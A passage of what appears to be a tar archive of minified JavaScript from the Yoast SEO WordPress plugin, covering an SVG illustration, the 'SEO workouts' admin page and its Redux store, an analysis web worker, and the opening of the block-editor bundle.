28.7-24.1v.2z"}),a.createElement("path",{fill:"#DB7A53",d:"M61 260.63c-13.2-2.4-11.1-1.3-18 4.4l-1 .6-.6.2-.6.3-.5.3-.6.3-1.1.6-.7.3-1 .6-.7.4-1.2.6-.6.3-1.3.7-.6.3-1.3.7-.5.3-1.4.8-.3.1-1.6 1-.6-.9-4.5-5.8c22.6-15.2 27.9-12.4 38.7-6v-.1z"}),a.createElement("path",{fill:"#F9BF8C",d:"M128 207.43c-29.2 3.1-47.5-28.2-84.5-28.7 14.2-5.2 23-11.3 23-27.1 0-8.8-2.7-25.8-3.6-38.2 0 0 57 21.4 57.8 36.1l2 14.3c11.2 4.3 43.3 37.4 5.3 43.6z"}),a.createElement("path",{fill:"#DB7A53",d:"M87.3 151.73a56.8 56.8 0 0 1-17.1-22.8 62.4 62.4 0 0 0 43 22c2.5-.1 5-.2 7.3-.5v.5l.2 1.2c-4.7 11.9-7.3 19.5-33.4-.4z"}),a.createElement("path",{fill:"#216D64",d:"M162 280.43c.5 7.4-16.2 16.2-30.8 17.3-19.8 1.4-54.8-9.2-48-40.7 18.2 35 68.8 31.3 78.8 23.4z"}),a.createElement("path",{fill:"#F9BF8C",d:"M122.5 72.33a9.8 9.8 0 0 0-2.1-.8h2.6l-.5.8zm-9.9.8a4.8 4.8 0 0 0-.6-1.7c7.3 0 4-.6.6 1.7zm12.6 14 .8.8c-.9-1.5-1.5-4.6-2.9-12.6l-.4-.3a16 16 0 0 0 2.5 12.1z"}),a.createElement("path",{fill:"#F9BF8C",d:"M154.7 95.83a44.5 44.5 0 0 0-1.6-8.2c-2-6-4.8-6.6-7.3-9.6a50.6 50.6 0 0 0-1-23.9c0 .1-8.7-35.8-54.2-22a44.6 44.6 0 0 0-10 5.9c-10.6 8.2-7.6 13.4-10 25.4a74.9 74.9 0 0 1-4.4 11.9c-4.8 3.8-7.6 6.5-8.1 9.9 1 4.7 5.4 18.3 5 28.1 6 27.2 36.6 38.3 50 37.6 2.6-.1 5-.2 7.4-.5 6.5-.7 11.9-2.8 17-11.3 6.4-10.8 5.6-16.5 9.4-22.5 2.5-4.1 9-9.7 7.8-20.8zm-42.2-19.5c-1 7.6-2.5 10.5-5.3 11.4a18.3 18.3 0 0 0 1.3-3.3c-4.6 2.5-17 2.8-21.2-3-.9.4-2 .4-4-.6l.2-.1c4.2-.1 2.6-1 4.1-3.8a10.6 10.6 0 0 1 .6-1h17.1a11 11 0 0 1 3.8 6.7 58.3 58.3 0 0 0 1.2-6.8l3-.2-.8.7z"}),a.createElement("path",{fill:"#D86060",d:"M112.6 124.23c-4-2-5.6-6.3-11.6-10.8 10 5.2 19.3 6.3 26.5 3.8-1.7 1.7 1.2 6.3-3.5 8.4-4 1.7-7.3.5-11.4-1.4z"}),a.createElement("path",{fill:"#BC3939",d:"m101 113.43-1.6-.8c7.9-.3 12.9-.7 17.2-.3 2.2.3 2.2 2 3.8 2 1.6 0 2.7-1.6 4.4-1.4 1.2.2 3 1.1 5.6 3a20.3 20.3 0 0 1-2.9 1.2c-7.2 2.6-16.6 1.5-26.5-3.7z"}),a.createElement("path",{fill:"#FFF",d:"m108.5 84.43.2-.5a15.2 15.2 0 0 0-2.3-3.8c-5-5.8-13.6-5.1-16.5-1.6-.9 1.3-1.5 2.4-2.6 3 4.1 5.7 16.6 5.4 21.2 3v-.1zM97 85.63a4.8 4.8 0 1 1 .408-9.592A4.8 4.8 0 0 1 97 85.629z"}),a.createElement("path",{fill:"#000",d:"M89.9 78.53c-.9 1.3-1.5 2.4-2.6 3-1.1.6-2 .2-4-.7l.2-.2c4.2 0 2.6-1 4.1-3.7 2.8-5.2 9-4.8 14.6-3 .1 0 5.9 2.4 6.8 8.7l-.3 1.2a14.4 14.4 0 0 0-2.3-3.7c-5-5.8-13.6-5.1-16.5-1.6z"}),a.createElement("path",{fill:"#FFF",d:"M127.5 83.03h-.1a27 27 0 0 0 11.6.6c2.7-1 4.8-4 5-6.8-1.8-1.2-2.8-4.6-8.2-2.9-5 1.6-7 4.2-8.3 9v.1zm2.8-3.7a4.4 4.4 0 1 1 8.798-.2 4.4 4.4 0 0 1-8.798.2z"}),a.createElement("path",{fill:"#000",d:"M145.1 75.33c0 .5.5.7 1 .9a8 8 0 0 0 1.2.1l.1.2a5 5 0 0 1-1.4.6 2.4 2.4 0 0 1-2-.4c-1.8-1.2-2.8-4.6-8.2-2.8-4.9 1.6-7 4.2-8.3 9h-.2c-1.2-6.7 4-11.3 9-12.5l3.1-.2c2.8.2 5.2 1.8 5.7 5.1z"}),a.createElement("path",{fill:"#B2512B",d:"M106.7 61.53c-4 0-8.2-.4-11.7-.3-3.6.1-8.3 1.7-12.8 4.6 1.9-4 8.5-7.2 12.5-7.7 2.9-.3 6.8-.7 9.7-.2 3.7.7 5.6 3.1 2.3 3.6zm24.7 5.6c2.3-2.6 6.8-6.2 9.4-5.8 3 .4 3.5 1.2 5.4 3.6.056.898.056 1.8 0 2.7H145a7.6 7.6 0 0 0-4.7-2.2c-1.9-.1-7 1.2-8.8 1.7h-.1z"}),a.createElement("circle",{cx:97.1,cy:80.829,r:4.8,fill:"#000",transform:"rotate(-78.1 97.1 80.83)"}),a.createElement("circle",{cx:134.7,cy:79.329,r:4.4,fill:"#000"}),a.createElement("path",{fill:"#DB7A53",d:"M106.3 109.73a40 40 0 0 1-10.3-1.3c-1.9 2-.1 6.6-.7 9.2-1-3.4-4-8-2.2-12.4a28.7 28.7 0 0 0 13.2-1c9-2.8 6.6-6.2 12.6-6.5-5.2 1-4.4 11.4-12.6 12z"}),a.createElement("path",{fill:"#838BC5",d:"M54 29.03c3-3.6 13.5-5.8 20-6-.5 1.3 4.5 2.7 4 4a37.3 37.3 0 0 0 8.4-.2 3.5 3.5 0 0 0 .4 2.7l3.8 2.6a44.6 44.6 0 0 0-10.1 5.9c-10.5 8.2-7.5 13.4-9.9 25.4a74.9 74.9 0 0 1-4.4 11.9l-12.4 7a10.3 10.3 0 0 0-5.3-.7l-.3-.4c-2.2-4-6.8-14.2-7.2-18.8-1.4-11.4 1.2-25 10-32.4a18.5 18.5 0 0 1 3-2 9.8 9.8 0 0 0 .1 1H54zm2.7 55 1.4.7 3.5-1.6a5.5 5.5 0 0 1-2.4 1.9 10.4 10.4 0 0 1-1.2.2l-1.2-1.2h-.1z"}),a.createElement("path",{fill:"#0071BC",d:"M127 22.23c-7.5-4.7-7-2-15.6-4l5.2-.4c-13.3-1-28.6 3.4-30.1 9a37.3 37.3 0 0 1-8.4.2c.5-1.3-4.6-2.6-4-4-6.6.2-17 2.4-20.1 6a9.8 9.8 0 0 1 0-1c0-8.2 10.8-17.8 30.3-15.8 13.4-14.3 42.4-21 61 8.1-13-7.3-16.2-.2-19.3.8 7.8-1.6 27.3 3 28.9 24.3-1.7-7.8-8.4-8.6-13.6-8-1.7-2.3-3.5-4.3-4.9-5.9-4.5-5.2-3.5-5.7-9.4-9.3z"}),a.createElement("path",{fill:"#0071BC",d:"M137.4 46.73c3.4 14.5-3.1 19.3-22.4 18.8 12.5-8.9 11.5-19.3 2-26.1-8.2-6-14 .2-26.4-7.3a46 46 0 0 1-3.8-2.6 3.5 3.5 0 0 1-.3-2.7c1.5-5.6 16.8-10 30-9l-5 .3c8.6 2.2 8-.6 15.5 4 5.9 3.7 4.9 4.2 9.4 9.5 1.4 1.6 3.2 3.5 4.8 5.8 3 4.2 5.5 9.6 3.5 16.7a26 26 0 0 1-2.6 6.2 14.6 14.6 0 0 0-4.7-13.6z"}),a.createElement("path",{fill:"#DB7A53",d:"M126.1 69.33h-.7a14.6 14.6 0 0 1 3.2-1.7 14.8 14.8 0 0 0-2.5 1.7zm-.9 17.8.8.8c1.2 1.8 2.7 1.5 6.3 4.8l.6.2c1.8 1.7 2.8 3.7 2 6.4-.2 3.2-5.3 8.2-12 5.8 5.3-1 6.9-.8 7.6-5.6-.2-6.7-8.3-4-10-16.5a17.3 17.3 0 0 1 .9-8.8 9 9 0 0 1 1.3.8 16 16 0 0 0 2.5 12.1zm-2.1-14.5a6.3 6.3 0 0 0-.6-.3l.5-.9c1 0 .4.2.1 1.2z"}),a.createElement("path",{fill:"#93278F",d:"M56.7 84.03a12.7 12.7 0 0 0-3-1.7l12.4-7 9.2-5.2c-1.3 1.7-1.6 4.2-1.1 7l-12.6 6-3.5 1.7-1.4-.8z"}),a.createElement("path",{fill:"#5D237A",d:"M151 92.03c5.5-1.8 14.3-20.4 5.8-23.5-5.4-2-24.6-.6-29.9.8-29.7-.4-42.2-3.3-49.3-.7a5 5 0 0 0-2.3 1.6c-4.3 5.5 3.1 20.2 8 21.8a46.3 46.3 0 0 0 12.5 1.6c11.6 0 14.8-2.2 16.6-17.3 1-.6 4.4-4.3 9-2a10.6 10.6 0 0 1 1.8 1c2.9 17.6 2.5 11.3 9.1 17.5l.6.1c5.8 1.4 13.9.5 18.1-.9zm-40.5-17.9c-.4 3.6-1.7 13.4-4.8 15.4-4.2 2.8-17 2-21.7.4-4-1.4-11.5-17.2-5.7-19.3 5.6-2 23.8 0 29.6.6 0 .2 2.8.3 2.6 3v-.1zm2.1-1a4.8 4.8 0 0 0-.6-1.8c7.3.2 4-.5.6 1.8zm10.5-.5a10 10 0 0 0-2.7-1.2c4.2.1 3.1-.3 2.7 1.2zm27.2 17.4c-4.7 1.6-16.3 2.5-20.6-.4-1-.7-2.8-5.1-4.5-15.3-.4-2.8 2.6-2.5 2.6-2.8.9-.2 4.3-.7 8.5-1 4.2-.3 15.6-1.2 19.7.2 5.8 2.1-1.6 18-5.7 19.3z"}),a.createElement("path",{fill:"#F9BF8C",d:"M45.5 82.33c-4.2 1.7-4.4 10-3 14.8 2.8 9.2 12 17.6 21.7 16.1 5.2-.7 1.5-5.7-1-16.4l-1-5.6c-3.3-7-9.4-11.7-16.7-8.9zm13.2 13c-.4.4-4.4 3.1-1.2 5 2.2 1.5 4 .5 3.6 2.6-.3 1.4 0 3.3-2 3 2-3-1.1-4-3-2.9s-5.7-5.3.9-8.2c-4-4.8-7.5-12.8-10-.5-3-9.7 3.6-17.3 11.7 1z"}),a.createElement("path",{fill:"#CE6D42",d:"M58.7 95.33c-.4.4-4.4 3.1-1.2 5 2.2 1.5 4 .5 3.6 2.6-.3 1.4 0 3.3-2 3 2-3-1.1-4-3-2.9s-5.7-5.3.9-8.2c-4-4.8-7.5-12.8-10-.5-3-9.7 3.6-17.3 11.7 1z"}))));function N({workout:e,badges:t,upsellLink:o,upsellText:l}){const n=(0,r.useSelect)((e=>e("yoast-seo/workouts").getFinishedSteps(v))),s=o||"https://yoa.st/workout-orphaned-content-upsell";return(0,a.createElement)(g,{id:"orphaned-workout-card",name:v,title:(0,w.__)("Orphaned content","wordpress-seo"),subtitle:(0,w.__)("Clean up your unlinked content to make sure people can find it","wordpress-seo"),usps:[(0,w.__)("Make pages easier for Google and visitors to find","wordpress-seo"),(0,w.__)("Add internal links to your posts and pages","wordpress-seo")],image:P,finishableSteps:R.orphaned,finishedSteps:n,upsellLink:s,upsellText:l,workout:e,badges:t})}N.propTypes={workout:m().func,badges:m().arrayOf(m().element),upsellLink:m().string,upsellText:m().string},N.defaultProps={workout:null,badges:[],upsellLink:null,upsellText:null};const{workouts:j,upsellLink:$,upsellText:q}=window.wpseoWorkoutsData,G={[b]:()=>(0,a.createElement)(D,{badges:[(0,a.createElement)(k.PremiumBadge,{key:"premium-badge-cornerstone-workout"})],upsellLink:$,upsellText:q}),[v]:()=>(0,a.createElement)(N,{badges:[(0,a.createElement)(k.PremiumBadge,{key:"premium-badge-orphaned-workout"})],upsellLink:$,upsellText:q})};function U(e){const{activeWorkout:t,clearActiveWorkout:o,openWorkout:r,workouts:n,loading:s,initWorkouts:c,saveWorkouts:i}=e;(0,h.useEffect)((()=>{if(!0===s)return c(j),void(window.location.hash&&window.location.hash.length>1&&("configuration"===window.location.hash.substring(1)?window.location.href=window.wpseoWorkoutsData.firstTimeConfigurationUrl:r(window.location.hash.substring(1))));i(n)}),[n,s]);const u=(0,h.useMemo)((()=>{const e=Object.keys(n);return(0,p.sortBy)(e.map((e=>({...n[e],id:e}))),"priority").map((e=>{if(G[e.id]){const t=G[e.id];return(0,a.createElement)(f,{key:e.id,name:`${e.id}`},(0,a.createElement)(t,null))}return(0,a.createElement)(l.Slot,{key:e.id,name:`${e.id}`})}))}),[n]);return(0,a.createElement)("div",{className:"wrap"},(0,a.createElement)("h1",{id:"workouts-page-title"},(0,w.__)("SEO workouts","wordpress-seo")),(0,a.createElement)("p",{id:"workouts-page-description"},(0,w.__)("Getting your site in shape and keeping it SEO fit can be hard. We can help you get started! Take these step-by-step workouts, and you’ll be tackling some of the most fundamental SEO challenges!","wordpress-seo")),t&&(0,a.createElement)(k.Button,{id:"yoast-workouts-back-to-workouts-button",onClick:o},
// translators: %1$s translates to a leftward pointing arrow ( ← )
(0,w.sprintf)((0,w.__)("%1$sBack to all workouts","worpdress-seo"),"← ")),(0,a.createElement)("div",{className:t?"":"workflows__index"},u))}U.propTypes={activeWorkout:m().string.isRequired,clearActiveWorkout:m().func.isRequired,openWorkout:m().func.isRequired,workouts:m().object.isRequired,loading:m().bool.isRequired,initWorkouts:m().func.isRequired,saveWorkouts:m().func.isRequired};const K=function(e){const t=(0,p.cloneDeep)(e);return Object.keys(e).forEach((function(o){e[o].indexablesByStep&&Object.keys(e[o].indexablesByStep).forEach((function(e){t[o].indexablesByStep[e]=t[o].indexablesByStep[e].filter((function(e){return!e.purge}))}))})),t};async function V(e){try{const t=await i()({path:"yoast/v1/workouts",method:"POST",data:K(e)});return await t.json}catch(e){return console.error(e.message),!1}}const X=(0,u.compose)([(0,r.withSelect)((e=>{const t=e("yoast-seo/workouts").getWorkouts(),o=e("yoast-seo/workouts").getLoading(),a=e("yoast-seo/workouts").getActiveWorkout(),r=e("yoast-seo/workouts").getFinishedWorkouts(),l=e("yoast-seo/workouts").getIndexablesByStep;return{workouts:t,loading:o,activeWorkout:a,finishedWorkouts:r,isStepFinished:(e,o)=>t[e].finishedSteps.includes(o),getIndexablesByStep:l}})),(0,r.withDispatch)((e=>{const{finishSteps:t,toggleStep:o,toggleWorkout:a,initWorkouts:r,clearActiveWorkout:l,openWorkout:n,moveIndexables:s,clearIndexablesInSteps:c}=e("yoast-seo/workouts");return{finishSteps:t,toggleStep:o,toggleWorkout:a,initWorkouts:r,clearActiveWorkout:l,openWorkout:n,moveIndexables:s,clearIndexablesInSteps:c,saveWorkouts:V}}))])(U),H="REGISTER_WORKOUT",J="FINISH_STEPS",Q="REVISE_STEP",Y="TOGGLE_WORKOUT",Z="SET_WORKOUTS",ee="OPEN_WORKOUT",te="CLEAR_ACTIVE_WORKOUT",oe="TOGGLE_STEP",ae="MOVE_INDEXABLES",re="CLEAR_INDEXABLES",le="CLEAR_INDEXABLES_IN_STEPS",ne=(e,t)=>({type:H,payload:{key:e,priority:t}}),se=(e,t)=>({type:J,workout:e,steps:t}),ce=(e,t)=>({type:Q,workout:e,step:t}),ie=e=>({type:Y,workout:e}),ue=e=>({type:Z,workouts:e}),pe=e=>(window.location.hash=e,{type:ee,workout:e}),de=()=>(window.location.hash="",{type:te}),me=(e,t)=>({type:oe,workout:e,step:t}),we=(e,t,o,a)=>({type:ae,workout:e,indexables:t,fromStep:o,toStep:a}),he=e=>({type:re,workout:e}),ke=(e,t)=>({type:le,workout:e,steps:t}),fe=e=>e.workouts,Ee=(e,t)=>(0,p.get)(e,`workouts.${t}.finishedSteps`,[]),ge=(e,t,o)=>e.workouts[t].indexablesByStep[o],ye=e=>{const t=[];return Object.keys(e.workouts).forEach((function(o){R[o]&&e.workouts[o].finishedSteps.length===R[o].length&&t.push(o)})),t},ze=e=>e.loading,Se=e=>e.activeWorkout,be={loading:!0,activeWorkout:"",workouts:{cornerstone:{priority:50,finishedSteps:[],indexablesByStep:{[x]:[],[B]:[],[M]:[],[W]:[],[C]:[]}},orphaned:{priority:50,finishedSteps:[],indexablesByStep:{[_]:(0,p.get)(window,"wpseoPremiumWorkoutsData.orphaned",[]),[A]:[],[O]:[],[F]:[],[T]:[],[W]:[],[C]:[]}}}},ve=(e=be,t)=>{let o;const a=(0,p.cloneDeep)(e);switch(t.type){case H:return a.workouts[t.payload.key]={finishedSteps:[],indexablesByStep:{},...a.workouts[t.payload.key],priority:t.payload.priority},a;case J:return a.workouts[t.workout].finishedSteps=(0,p.union)(e.workouts[t.workout].finishedSteps,t.steps),a;case Q:return a.workouts[t.workout].finishedSteps=a.workouts[t.workout].finishedSteps.filter((e=>e!==t.step)),a;case oe:return e.workouts[t.workout].finishedSteps.includes(t.step)?(o=e.workouts[t.workout].finishedSteps.indexOf(t.step),o>-1&&(a.workouts[t.workout].finishedSteps=e.workouts[t.workout].finishedSteps.slice(),a.workouts[t.workout].finishedSteps.splice(o,1)),a):(a.workouts[t.workout].finishedSteps=(0,p.union)(e.workouts[t.workout].finishedSteps,[t.step]),a);case Y:if(R[t.workout].length===e.workouts[t.workout].finishedSteps.length){a.workouts[t.workout].finishedSteps=[];for(const e of R[t.workout])be.workouts[t.workout].indexablesByStep&&(a.workouts[t.workout].indexablesByStep[e]=be.workouts[t.workout].indexablesByStep[e])}else a.workouts[t.workout].finishedSteps=R[t.workout];return a;case ee:return a.activeWorkout=t.workout,a;case te:return a.activeWorkout="",a;case Z:return a.workouts=(0,p.merge)(a.workouts,t.workouts),a.loading=!1,a;case ae:return t.indexables.forEach((function(e){if(""!==t.fromStep){const o=a.workouts[t.workout].indexablesByStep[t.fromStep].findIndex((t=>t.id===e.id));a.workouts[t.workout].indexablesByStep[t.fromStep][o].purge=!0,a.workouts[t.workout].indexablesByStep[t.fromStep][o].movedTo=t.toStep}if(""!==t.toStep){const o=a.workouts[t.workout].indexablesByStep[t.toStep].findIndex((t=>t.id===e.id));-1===o?a.workouts[t.workout].indexablesByStep[t.toStep].push(e):(a.workouts[t.workout].indexablesByStep[t.toStep][o].purge=!1,a.workouts[t.workout].indexablesByStep[t.toStep][o].movedTo="")}})),a;case re:return a.workouts[t.workout].indexablesByStep=be.workouts[t.workout].indexablesByStep,a;case le:for(const e of t.steps)a.workouts[t.workout].indexablesByStep[e]=[];return a;default:return e}},Me=window.yoast.styledComponents,Be=window.yoast.externals.contexts,xe=({theme:e,location:t,children:o})=>(0,a.createElement)(Be.LocationProvider,{value:t},(0,a.createElement)(Me.ThemeProvider,{theme:e},o));xe.propTypes={theme:m().object.isRequired,location:m().oneOf(["sidebar","metabox","modal"]).isRequired,children:m().element.isRequired};const _e=xe,Ae=[];let Oe=null;class Fe extends h.Component{constructor(e){super(e),this.state={registeredComponents:[]}}registerComponent(e,t){this.setState({registeredComponents:[...this.state.registeredComponents,{key:e,Component:t}]})}render(){return this.state.registeredComponents.map((({Component:e,key:t})=>(0,a.createElement)(e,{key:t})))}}if(window.wp.data.createReduxStore){const e=(0,r.createReduxStore)("yoast-seo/workouts",{reducer:ve,actions:t,selectors:o});(0,r.register)(e)}else(0,r.registerStore)("yoast-seo/workouts",{reducer:ve,actions:t,selectors:o});window.wpseoWorkoutsData=window.wpseoWorkoutsData||{},window.wpseoWorkoutsData.registerWorkout=function(e,t,o){(0,r.dispatch)("yoast-seo/workouts").registerWorkout(e,t),function(e,t){null===Oe||null===Oe.current?Ae.push({key:e,Component:t}):Oe.current.registerComponent(e,t)}(e,(()=>(0,a.createElement)(l.Fill,{name:`${e}`},(0,a.createElement)(o,null))))},s()((()=>{!function(e,t){const o=(0,p.get)(window,"wpseoScriptData.metabox",{intl:{},isRtl:!1});Oe=(0,h.createRef)();const r={isRtl:o.isRtl};(0,h.render)((0,a.createElement)(_e,{theme:r,location:"sidebar"},(0,a.createElement)(l.SlotFillProvider,null,(0,a.createElement)(h.Fragment,null,t,(0,a.createElement)(Fe,{ref:Oe})))),document.getElementById(e)),Ae.forEach((e=>{Oe.current.registerComponent(e.key,e.Component)}))}("wpseo-workouts-container-free",(0,a.createElement)(X,null))}))})();wordpress-seo/js/dist/analysis-worker.js000064400000001151147510273070014433 0ustar00(()=>{self.window=self;const e=["lodash","regenerator-runtime","wp-hooks","wp-i18n"];self.onmessage=({data:s})=>{if(!s||!s.dependencies)return;!function(s){for(const o in s)Object.prototype.hasOwnProperty.call(s,o)&&(e.includes(o)||o.startsWith("yoast-seo"))&&(self.importScripts(s[o]),"lodash"===o&&(self.lodash=_.noConflict()))}(s.dependencies),s.translations&&function(e){for(const[s,o]of e){const e=o.locale_data[s]||o.locale_data.messages;e[""].domain=s,self.wp.i18n.setLocaleData(e,s)}}(s.translations);const o=self.yoast.Researcher.default;new self.yoast.analysis.AnalysisWebWorker(self,new o).register()}})();wordpress-seo/js/dist/block-editor.js000064400000713437147510273070013700 0ustar00(()=>{var e={6746:(e,t,s)=>{"use strict";var r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},n=i(s(9196)),a=i(s(9156)),o=i(s(6743));function i(e){return e&&e.__esModule?e:{default:e}}var l=void 0;function c(e,t){var s,o,i,d,p,u,m,h,g=[],y={};for(u=0;u<e.length;u++)if("string"!==(p=e[u]).type){if(!t.hasOwnProperty(p.value)||void 0===t[p.value])throw new Error("Invalid interpolation, missing component node: `"+p.value+"`");if("object"!==r(t[p.value]))throw new Error("Invalid interpolation, component node must be a ReactElement or null: `"+p.value+"`","\n> "+l);if("componentClose"===p.type)throw new Error("Missing opening component token: `"+p.value+"`");if("componentOpen"===p.type){s=t[p.value],i=u;break}g.push(t[p.value])}else g.push(p.value);return s&&(d=function(e,t){var s,r,n=t[e],a=0;for(r=e+1;r<t.length;r++)if((s=t[r]).value===n.value){if("componentOpen"===s.type){a++;continue}if("componentClose"===s.type){if(0===a)return r;a--}}throw new Error("Missing closing component token `"+n.value+"`")}(i,e),m=c(e.slice(i+1,d),t),o=n.default.cloneElement(s,{},m),g.push(o),d<e.length-1&&(h=c(e.slice(d+1),t),g=g.concat(h))),1===g.length?g[0]:(g.forEach((function(e,t){e&&(y["interpolation-child-"+t]=e)})),(0,a.default)(y))}t.Z=function(e){var t=e.mixedString,s=e.components,n=e.throwErrors;if(l=t,!s)return t;if("object"!==(void 0===s?"undefined":r(s))){if(n)throw new Error("Interpolation Error: unable to process `"+t+"` because components is not an object");return t}var a=(0,o.default)(t);try{return c(a,s)}catch(e){if(n)throw new Error("Interpolation Error: unable to process `"+t+"` because of error `"+e.message+"`");return t}}},6743:e=>{"use strict";function t(e){return e.match(/^\{\{\//)?{type:"componentClose",value:e.replace(/\W/g,"")}:e.match(/\/\}\}$/)?{type:"componentSelfClosing",value:e.replace(/\W/g,"")}:e.match(/^\{\{/)?{type:"componentOpen",value:e.replace(/\W/g,"")}:{type:"string",value:e}}e.exports=function(e){return e.split(/(\{\{\/?\s*\w+\s*\/?\}\})/g).map(t)}},9156:(e,t,s)=>{"use strict";var r=s(9196),n="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103,a=s(7942),o=s(9179),i=s(397),l=".",c=":",d="function"==typeof Symbol&&Symbol.iterator,p="@@iterator";function u(e,t){return e&&"object"==typeof e&&null!=e.key?(s=e.key,r={"=":"=0",":":"=2"},"$"+(""+s).replace(/[=:]/g,(function(e){return r[e]}))):t.toString(36);var s,r}function m(e,t,s,r){var a,i=typeof e;if("undefined"!==i&&"boolean"!==i||(e=null),null===e||"string"===i||"number"===i||"object"===i&&e.$$typeof===n)return s(r,e,""===t?l+u(e,0):t),1;var h=0,g=""===t?l:t+c;if(Array.isArray(e))for(var y=0;y<e.length;y++)h+=m(a=e[y],g+u(a,y),s,r);else{var f=function(e){var t=e&&(d&&e[d]||e[p]);if("function"==typeof t)return t}(e);if(f)for(var w,b=f.call(e),E=0;!(w=b.next()).done;)h+=m(a=w.value,g+u(a,E++),s,r);else if("object"===i){var v=""+e;o(!1,"Objects are not valid as a React child (found: %s).%s","[object Object]"===v?"object with keys {"+Object.keys(e).join(", ")+"}":v,"")}}return h}var h=/\/+/g;function g(e){return(""+e).replace(h,"$&/")}var y,f,w=b,b=function(e){var t=this;if(t.instancePool.length){var s=t.instancePool.pop();return t.call(s,e),s}return new t(e)};function E(e,t,s,r){this.result=e,this.keyPrefix=t,this.func=s,this.context=r,this.count=0}function v(e,t,s){var n,o,i=e.result,l=e.keyPrefix,c=e.func,d=e.context,p=c.call(d,t,e.count++);Array.isArray(p)?k(p,i,s,a.thatReturnsArgument):null!=p&&(r.isValidElement(p)&&(n=p,o=l+(!p.key||t&&t.key===p.key?"":g(p.key)+"/")+s,p=r.cloneElement(n,{key:o},void 0!==n.props?n.props.children:void 0)),i.push(p))}function k(e,t,s,r,n){var a="";null!=s&&(a=g(s)+"/");var o=E.getPooled(t,a,r,n);!function(e,t,s){null==e||m(e,"",t,s)}(e,v,o),E.release(o)}E.prototype.destructor=function(){this.result=null,this.keyPrefix=null,this.func=null,this.context=null,this.count=0},y=function(e,t,s,r){var n=this;if(n.instancePool.length){var a=n.instancePool.pop();return n.call(a,e,t,s,r),a}return new n(e,t,s,r)},(f=E).instancePool=[],f.getPooled=y||w,f.poolSize||(f.poolSize=10),f.release=function(e){var t=this;o(e instanceof t,"Trying to release an instance into a pool of a different type."),e.destructor(),t.instancePool.length<t.poolSize&&t.instancePool.push(e)},e.exports=function(e){if("object"!=typeof e||!e||Array.isArray(e))return i(!1,"React.addons.createFragment only accepts a single object. Got: %s",e),e;if(r.isValidElement(e))return i(!1,"React.addons.createFragment does not accept a ReactElement without a wrapper object."),e;o(1!==e.nodeType,"React.addons.createFragment(...): Encountered an invalid child; DOM elements are not valid children of React components.");var t=[];for(var s in e)k(e[s],t,s,a.thatReturnsArgument);return t}},7942:e=>{"use strict";function t(e){return function(){return e}}var s=function(){};s.thatReturns=t,s.thatReturnsFalse=t(!1),s.thatReturnsTrue=t(!0),s.thatReturnsNull=t(null),s.thatReturnsThis=function(){return this},s.thatReturnsArgument=function(e){return e},e.exports=s},9179:e=>{"use strict";e.exports=function(e,t,s,r,n,a,o,i){if(!e){var l;if(void 0===t)l=new Error("Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.");else{var c=[s,r,n,a,o,i],d=0;(l=new Error(t.replace(/%s/g,(function(){return c[d++]})))).name="Invariant Violation"}throw l.framesToPop=1,l}}},397:(e,t,s)=>{"use strict";var r=s(7942);e.exports=r},4530:(e,t)=>{var s;!function(){"use strict";var r={}.hasOwnProperty;function n(){for(var e=[],t=0;t<arguments.length;t++){var s=arguments[t];if(s){var a=typeof s;if("string"===a||"number"===a)e.push(s);else if(Array.isArray(s)){if(s.length){var o=n.apply(null,s);o&&e.push(o)}}else if("object"===a){if(s.toString!==Object.prototype.toString&&!s.toString.toString().includes("[native code]")){e.push(s.toString());continue}for(var i in s)r.call(s,i)&&s[i]&&e.push(i)}}}return e.join(" ")}e.exports?(n.default=n,e.exports=n):void 0===(s=function(){return n}.apply(t,[]))||(e.exports=s)}()},9196:e=>{"use strict";e.exports=window.React}},t={};function s(r){var n=t[r];if(void 0!==n)return n.exports;var a=t[r]={exports:{}};return e[r](a,a.exports,s),a.exports}s.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return s.d(t,{a:t}),t},s.d=(e,t)=>{for(var r in t)s.o(t,r)&&!s.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(e){if("object"==typeof window)return window}}(),s.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),s.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},(()=>{"use strict";var e={};s.r(e),s.d(e,{authorFirstName:()=>Bi,authorLastName:()=>Ui,category:()=>Hi,categoryTitle:()=>Vi,currentDate:()=>Wi,currentDay:()=>ji,currentMonth:()=>Ki,currentYear:()=>zi,date:()=>Yi,excerpt:()=>Gi,focusKeyphrase:()=>Zi,id:()=>Xi,modified:()=>Qi,name:()=>Ji,page:()=>el,pageNumber:()=>tl,pageTotal:()=>sl,permalink:()=>rl,postContent:()=>nl,postDay:()=>al,postMonth:()=>ol,postTypeNamePlural:()=>ll,postTypeNameSingular:()=>cl,postYear:()=>il,primaryCategory:()=>dl,searchPhrase:()=>pl,separator:()=>ul,siteDescription:()=>ml,siteName:()=>hl,tag:()=>gl,term404:()=>yl,termDescription:()=>fl,termHierarchy:()=>wl,termTitle:()=>bl,title:()=>El,userDescription:()=>vl});var t=s(9196),r=s.n(t);const n=window.wp.blocks,a=window.wp.data,o=window.wp.editPost,i=window.wp.element,l=window.wp.i18n,c=window.wp.plugins,d=window.wp.richText,p=window.yoast.externals.contexts,u=window.yoast.externals.redux,m=window.lodash;function h(){return(0,m.get)(window,"wpseoScriptData.metabox",{intl:{},isRtl:!1})}const g=window.yoast.propTypes;var y=s.n(g);const f=window.yoast.styledComponents;var w=s.n(f);const b=w().svg`
	width: ${e=>e.size}px;
	height: ${e=>e.size}px;
	&&& path {
		fill: ${e=>e.color};
	}
	&&& circle.yoast-icon-readability-score {
		fill: ${e=>e.readabilityScoreColor};
		display: ${e=>e.isContentAnalysisActive?"inline":"none"};
	}
	
	&&& circle.yoast-icon-seo-score {
		fill: ${e=>e.seoScoreColor};
		display: ${e=>e.isKeywordAnalysisActive?"inline":"none"};
	}
